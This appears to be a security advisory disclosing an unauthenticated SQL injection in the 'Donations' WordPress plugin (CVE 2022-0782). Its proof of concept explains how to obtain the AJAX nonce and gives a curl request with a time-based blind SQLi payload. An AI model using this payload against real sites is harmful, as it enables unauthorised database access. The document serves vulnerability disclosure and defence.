Donations <= 1.8 – Unauthenticated SQLi | CVE 2022-0782

Description

The plugin does not sanitise and escape the nd_donations_id parameter before using it in a SQL statement via the nd_donations_single_cause_form_validate_fields_php_function AJAX action (available to unauthenticated users), leading to an unauthenticated SQL Injection

Proof of Concept

Create a new "Cause" and fill out the form under "ND Donations - Cause Main Settings" (price and color, price should be a value > 1)
  Publish the "Cause"

Visit the just created "Cause" page as an unauthenticated user and extract the nonce (CTRL+F for "nd_donations_ajaxnonce_single_cause_form_validate_fields" in the page source)

curl 'https://example.com/wp-admin/admin-ajax.php?action=nd_donations_single_cause_form_validate_fields_php_function&nd_donations_value=300&nd_donations_form_validate_fields_security=<NONCE>&nd_donations_id=1+AND+(SELECT+1739+FROM+(SELECT(SLEEP(5)))APRr)'